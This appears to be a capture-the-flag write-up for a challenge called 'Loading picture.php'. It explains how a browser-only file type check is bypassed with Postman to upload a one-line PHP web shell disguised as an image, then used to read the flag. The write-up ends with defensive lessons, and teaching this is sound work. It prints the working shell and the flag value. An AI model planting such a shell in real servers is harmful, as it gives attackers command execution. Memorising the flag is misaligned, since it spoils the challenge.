$cat loading-picture-php.mdWebHacknite 2.0
Loading picture.php
The upload form only checks the file type in the browser, so a PHP file renamed as an image gets through and runs commands on the server.
$man loading-picture-php
What this one teaches:
- Why a check done in the browser can always be skipped.
- Sending a request directly, without the form, using a tool like Postman.
- Why uploaded files must never be allowed to run as code on the server.
$hint --one-at-a-time
Stuck? Open one hint, then go back and try again before reading the next.
Hint 1 of 2show
The task says the size limit stops non-images. Where is that limit enforced?
Hint 2 of 2show
If you can upload a file the server will run, you can run commands on the server.
Task description
To teach himself to draw, Mario redraws nature photos. He ran out of ideas for photos, so he built a site where others can upload pictures for him to use. Mario was careful and limited the file size so malicious people couldn’t upload something that isn’t a photo.
The original was in Croatian; this is my translation.
The upload form
The page lets you upload an image. Mario’s safeguard is a size and type check, but the task hints at where it runs: in the browser. A check that runs in the browser only guards the form on the page. If you send the upload yourself, without the form, there’s nothing to stop you.
A file that runs
The site runs PHP, so a .php file placed on it will be executed by the server when visited. The plan is to upload one that runs whatever command we ask for. A tiny PHP file does it:
<?php echo shell_exec($_GET['cmd']); ?>
shell_exec runs a system command and $_GET['cmd'] is a value we pass in the address, so visiting the uploaded file with ?cmd=... runs that command on the server. We disguised it as an image so it looked like an allowed upload.
Skipping the browser check
Because the type check only lives in the page, we sent the upload straight to the server with Postman, a tool for making web requests by hand. With no form in the way, the disguised file uploaded fine.
Then we visited the uploaded file and used the cmd parameter to run ordinary Linux commands: ls to list files and cat to print one. A short look around found the flag file, and reading it gave the flag.
Two things went wrong here, and both matter. A security check has to run on the server, since the browser can be bypassed. And uploaded files must be stored where they can’t run as code, so a disguised script is just an inert file.
$cat flag.txt reveal
CTF2021[750396018838]